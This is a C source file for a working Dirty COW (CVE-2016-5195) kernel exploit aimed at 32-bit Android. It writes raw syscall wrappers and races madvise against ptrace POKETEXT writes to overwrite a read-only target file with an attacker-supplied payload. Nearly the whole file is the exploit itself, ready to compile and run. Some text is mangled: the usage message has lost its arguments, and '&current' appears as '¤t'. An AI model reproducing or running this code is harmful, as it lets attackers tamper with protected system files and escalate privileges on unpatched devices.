/* * Freestanding Dirty COW (CVE-2016-5195) for 32-bit Android. * * /proc/pid/mem on this ROM has no write handler, so the write side uses * PTRACE_POKETEXT. ptrace requires the tracee to be stopped, which would also * stop a madvise thread in the tracee's thread group. The madvise worker is * therefore a separate CLONE_VM process: it shares the page tables with the * tracee but keeps its own signal state and runs while the tracee is stopped. */ #define SYS_EXIT 1 #define SYS_READ 3 #define SYS_WRITE 4 #define SYS_OPEN 5 #define SYS_CLOSE 6 #define SYS_LSEEK 19 #define SYS_GETPID 20 #define SYS_PTRACE 26 #define SYS_KILL 37 #define SYS_GETTIMEOFDAY 78 #define SYS_WAIT4 114 #define SYS_CLONE 120 #define SYS_SCHED_YIELD 158 #define SYS_MMAP2 192 #if defined(__arm__) #define SYS_MADVISE 220 #elif defined(__i386__) #define SYS_MADVISE 219 #endif #define CLONE_VM 0x00000100 #define CLONE_FS 0x00000200 #define CLONE_FILES 0x00000400 #define SIGCHLD 17 #define SHARED_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | SIGCHLD) #define PTRACE_TRACEME 0 #define PTRACE_POKETEXT 4 #define SIGKILL 9 #define SIGSTOP 19 #define O_RDONLY 0 #define SEEK_SET 0 #define SEEK_END 2 #define PROT_READ 1 #define PROT_WRITE 2 #define MAP_PRIVATE 2 #define MAP_ANONYMOUS 32 #define MADV_DONTNEED 4 #define WORKER_STACK_SIZE 65536 #define TIME_LIMIT_SECONDS 90 struct old_timeval { long seconds; long microseconds; }; static volatile int madvise_stop; static volatile int madvise_done; static unsigned char *madvise_mapping; static long madvise_size; static volatile long madvise_count; #if defined(__arm__) static long sys0(long number) { register long r7 __asm__("r7") = number; register long r0 __asm__("r0") = 0; __asm__ volatile("svc #0" : "+r"(r0) : "r"(r7) : "memory"); return r0; } static long sys1(long number, long arg1) { register long r7 __asm__("r7") = number; register long r0 __asm__("r0") = arg1; __asm__ volatile("svc #0" : "+r"(r0) : "r"(r7) : "memory"); return r0; } static long sys2(long number, long arg1, long arg2) { register long r7 __asm__("r7") = number; register long r0 __asm__("r0") = arg1; register long r1 __asm__("r1") = arg2; __asm__ volatile("svc #0" : "+r"(r0) : "r"(r7), "r"(r1) : "memory"); return r0; } static long sys3(long number, long arg1, long arg2, long arg3) { register long r7 __asm__("r7") = number; register long r0 __asm__("r0") = arg1; register long r1 __asm__("r1") = arg2; register long r2 __asm__("r2") = arg3; __asm__ volatile("svc #0" : "+r"(r0) : "r"(r7), "r"(r1), "r"(r2) : "memory"); return r0; } static long sys5(long number, long arg1, long arg2, long arg3, long arg4, long arg5) { register long r7 __asm__("r7") = number; register long r0 __asm__("r0") = arg1; register long r1 __asm__("r1") = arg2; register long r2 __asm__("r2") = arg3; register long r3 __asm__("r3") = arg4; register long r4 __asm__("r4") = arg5; __asm__ volatile("svc #0" : "+r"(r0) : "r"(r7), "r"(r1), "r"(r2), "r"(r3), "r"(r4) : "memory"); return r0; } static long sys6(long number, long arg1, long arg2, long arg3, long arg4, long arg5, long arg6) { register long r7 __asm__("r7") = number; register long r0 __asm__("r0") = arg1; register long r1 __asm__("r1") = arg2; register long r2 __asm__("r2") = arg3; register long r3 __asm__("r3") = arg4; register long r4 __asm__("r4") = arg5; register long r5 __asm__("r5") = arg6; __asm__ volatile("svc #0" : "+r"(r0) : "r"(r7), "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5) : "memory"); return r0; } #elif defined(__i386__) static long sys0(long number) { long ret; __asm__ volatile("int $0x80" : "=a"(ret) : "a"(number) : "memory"); return ret; } static long sys1(long number, long arg1) { long ret; __asm__ volatile("int $0x80" : "=a"(ret) : "a"(number), "b"(arg1) : "memory"); return ret; } static long sys2(long number, long arg1, long arg2) { long ret; __asm__ volatile("int $0x80" : "=a"(ret) : "a"(number), "b"(arg1), "c"(arg2) : "memory"); return ret; } static long sys3(long number, long arg1, long arg2, long arg3) { long ret; __asm__ volatile("int $0x80" : "=a"(ret) : "a"(number), "b"(arg1), "c"(arg2), "d"(arg3) : "memory"); return ret; } static long sys5(long number, long arg1, long arg2, long arg3, long arg4, long arg5) { long ret; __asm__ volatile("int $0x80" : "=a"(ret) : "a"(number), "b"(arg1), "c"(arg2), "d"(arg3), "S"(arg4), "D"(arg5) : "memory"); return ret; } static long sys6(long number, long arg1, long arg2, long arg3, long arg4, long arg5, long arg6) { long ret; long args[6] = { arg1, arg2, arg3, arg4, arg5, arg6 }; __asm__ volatile("int $0x80" : "=a"(ret) : "a"(number), "b"(args) : "memory"); return ret; } #endif static int slength(const char *text) { int length = 0; while (text[length] != 0) { length++; } return length; } static void print(const char *text) { sys3(SYS_WRITE, 1, (long)text, slength(text)); } static void print_number(long value) { char buffer[24]; int index = 23; int negative = 0; buffer[index] = 0; if (value < 0) { negative = 1; value = -value; } if (value == 0) { buffer[--index] = '0'; } while (value > 0) { buffer[--index] = (char)('0' + (value % 10)); value /= 10; } if (negative) { buffer[--index] = '-'; } print(&buffer[index]); } static int mem_equal(const unsigned char *left, const unsigned char *right, long size) { long index; for (index = 0; index < size; index++) { if (left[index] != right[index]) { return 0; } } return 1; } static int read_full(int fd, unsigned char *buffer, long size) { long done = 0; while (done < size) { long count = sys3(SYS_READ, fd, (long)(buffer + done), size - done); if (count <= 0) { return -1; } done += count; } return 0; } static long file_matches(int fd, unsigned char *check, unsigned char *patch, long size) { sys3(SYS_LSEEK, fd, 0, SEEK_SET); if (read_full(fd, check, size) != 0) { return 0; } return mem_equal(check, patch, size); } static void stop_worker(void) { madvise_stop = 1; while (!madvise_done) { sys0(SYS_SCHED_YIELD); } } int dcow_main(int argc, char **argv) { int source; int target; long source_size; long target_size; unsigned char *patch; unsigned char *mapping; unsigned char *check; unsigned char *worker_stack; unsigned char *tracee_stack; long worker; long tracee; long wait_result; long status = 0; long iteration; long poke_errors = 0; struct old_timeval started; struct old_timeval current; int success = 0; if (argc < 3) { print("usage: dirtycow \n"); return 2; } source = (int)sys3(SYS_OPEN, (long)argv[1], O_RDONLY, 0); if (source < 0) { print("dirtycow: cannot open payload\n"); return 3; } target = (int)sys3(SYS_OPEN, (long)argv[2], O_RDONLY, 0); if (target < 0) { print("dirtycow: cannot open target\n"); return 4; } source_size = sys3(SYS_LSEEK, source, 0, SEEK_END); target_size = sys3(SYS_LSEEK, target, 0, SEEK_END); if (source_size <= 0 || target_size <= 0) { print("dirtycow: cannot measure files\n"); return 5; } if (source_size > target_size) { print("dirtycow: payload is larger than the target\n"); return 6; } patch = (unsigned char *)sys6(SYS_MMAP2, 0, source_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ((long)patch < 0) { print("dirtycow: anonymous mmap failed\n"); return 7; } sys3(SYS_LSEEK, source, 0, SEEK_SET); if (read_full(source, patch, source_size) != 0) { print("dirtycow: payload read failed\n"); return 8; } sys1(SYS_CLOSE, source); mapping = (unsigned char *)sys6(SYS_MMAP2, 0, source_size, PROT_READ, MAP_PRIVATE, target, 0); if ((long)mapping < 0) { print("dirtycow: target mmap failed\n"); return 9; } check = (unsigned char *)sys6(SYS_MMAP2, 0, source_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ((long)check < 0) { print("dirtycow: check mmap failed\n"); return 10; } worker_stack = (unsigned char *)sys6(SYS_MMAP2, 0, WORKER_STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ((long)worker_stack < 0) { print("dirtycow: worker stack mmap failed\n"); return 11; } tracee_stack = (unsigned char *)sys6(SYS_MMAP2, 0, WORKER_STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ((long)tracee_stack < 0) { print("dirtycow: tracee stack mmap failed\n"); return 12; } print("dirtycow: patching "); print(argv[2]); print(" at "); print_number(source_size); print(" bytes\n"); madvise_stop = 0; madvise_done = 0; madvise_mapping = mapping; madvise_size = source_size; worker = sys5(SYS_CLONE, SHARED_FLAGS, (long)(worker_stack + WORKER_STACK_SIZE), 0, 0, 0); if (worker == 0) { unsigned char *worker_mapping = madvise_mapping; long worker_size = madvise_size; while (!madvise_stop) { sys3(SYS_MADVISE, (long)worker_mapping, worker_size, MADV_DONTNEED); madvise_count++; sys0(SYS_SCHED_YIELD); } madvise_done = 1; sys1(SYS_EXIT, 0); } if (worker < 0) { print("dirtycow: worker clone failed\n"); return 13; } tracee = sys5(SYS_CLONE, SHARED_FLAGS, (long)(tracee_stack + WORKER_STACK_SIZE), 0, 0, 0); if (tracee == 0) { if (sys5(SYS_PTRACE, PTRACE_TRACEME, 0, 0, 0, 0) < 0) { sys1(SYS_EXIT, 42); } sys2(SYS_KILL, sys0(SYS_GETPID), SIGSTOP); sys1(SYS_EXIT, 43); } if (tracee < 0) { stop_worker(); print("dirtycow: tracee clone failed\n"); return 14; } wait_result = sys5(SYS_WAIT4, tracee, (long)&status, 0, 0, 0); if (wait_result < 0 || (status & 0xff) != 0x7f) { stop_worker(); print("dirtycow: tracee did not stop, status="); print_number(status); print("\n"); return 15; } print("dirtycow: tracee "); print_number(tracee); print(" stopped\n"); sys2(SYS_GETTIMEOFDAY, (long)&started, 0); for (iteration = 0; ; iteration++) { long offset; for (offset = 0; offset < source_size; offset += 4) { long word; if (offset + 4 <= source_size) { word = *(long *)(patch + offset); } else { int byte; word = 0; for (byte = 0; byte < 4; byte++) { if (offset + byte < source_size) { word |= (long)patch[offset + byte] << (8 * byte); } } } if (sys5(SYS_PTRACE, PTRACE_POKETEXT, tracee, (long)(mapping + offset), word, 0) < 0) { poke_errors++; } } if (file_matches(target, check, patch, source_size)) { print("dirtycow: match at "); print_number(iteration); print("\n"); success = 1; break; } if ((iteration & 63) == 0) { sys2(SYS_GETTIMEOFDAY, (long)¤t, 0); if (current.seconds - started.seconds >= TIME_LIMIT_SECONDS) { break; } } } stop_worker(); print("dirtycow: loop end success="); print_number(success); print(" passes="); print_number(iteration); print(" errors="); print_number(poke_errors); print("\n"); sys2(SYS_KILL, tracee, SIGKILL); if (success) { print("dirtycow: patch complete\n"); return 0; } print("dirtycow: patch failed\n"); return 1; }